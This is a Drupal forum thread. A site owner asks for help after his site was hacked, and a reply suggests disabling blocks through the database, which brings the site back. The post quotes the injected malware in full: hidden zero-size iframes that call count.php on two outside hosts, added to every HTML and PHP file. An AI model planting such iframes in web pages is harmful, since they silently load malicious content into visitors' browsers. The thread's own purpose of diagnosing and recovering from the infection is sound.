So, I recently received the notice from my Drupal site that there was a vulnerability in my 6.? version and I guess I might should have updated. I'm not sure it would have mattered but perhaps it would have.

Today, I noticed my site was offline and closer inspection revealed it was because my site had been hacked and infected with a trojan using an iframe exploit - apparently. I'm not an expect at this kind of thing.

Research reveals that Drupal is not the only target for this malware - Joomla, Wordpress, PhpBB and several others all have reports of the same thing in their forums.

All files with htm, html and PHP are infected, even if they were in sub folders. The code added is shown in two examples below:

Ex1:

<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script><iframe src="http://wsx3host.net/count.php?o=2" width=0 height=0 style="hidden" frameborder=0 marginheight=0 marginwidth=0 scrolling=no></iframe><iframe src="http://msn-analytics.net/count.php?o=2" width=0 height=0 style="hidden" frameborder=0 marginheight=0 marginwidth=0 scrolling=no></iframe>

Ex2:

drupal_page_footer();<iframe src="http://wsx3host.net/count.php?o=2" width=0 height=0 style="hidden" frameborder=0 marginheight=0 marginwidth=0 scrolling=no></iframe><iframe src="http://msn-analytics.net/count.php?o=2" width=0 height=0 style="hidden" frameborder=0 marginheight=0 marginwidth=0

Since my site was apparently infecting visitors, I deleted the files, restored clean files, deleted the database and restored a clean copy of the database, the downloaded and upgrade to Drupal 6.6 - and received no errors or problems.

Note that since the site was offline, I was unable to sign in and put it in maintenance mode, etc. so I added the $update_free_access = TRUE; line to the settings file for the update.

Hoping all was well, I tried to visit the main or admin page (after setting $update free access back to FALSE) and now get this error:

Fatal error: Call to undefined function adsense_display() in ..(path)../includes/common.inc(1547) : eval()'d code on line 1

I can't log in or get to any Drupal screens. I have tried all sorts of things listed in the forums but so far nothing has helped. I would appreciate any help or suggestions on how to get my system back up and running.

I would also appreciate any insight into what i did wrong that allowed this slime to get into my site and what I can do to keep it out in the future.

Thanks for any help or suggestions....

doug

Comments

ainigma32’s picture

You could trying disabling your blocks through the db. Something like:

update blocks set status = 0 where status = 1;

HTH

Arie

dforce’s picture

That was the tip I needed - I got the site up with your info. Now I can remove and or upgrade that mod as needed. Thanks for taking the time to reply and help!

Doug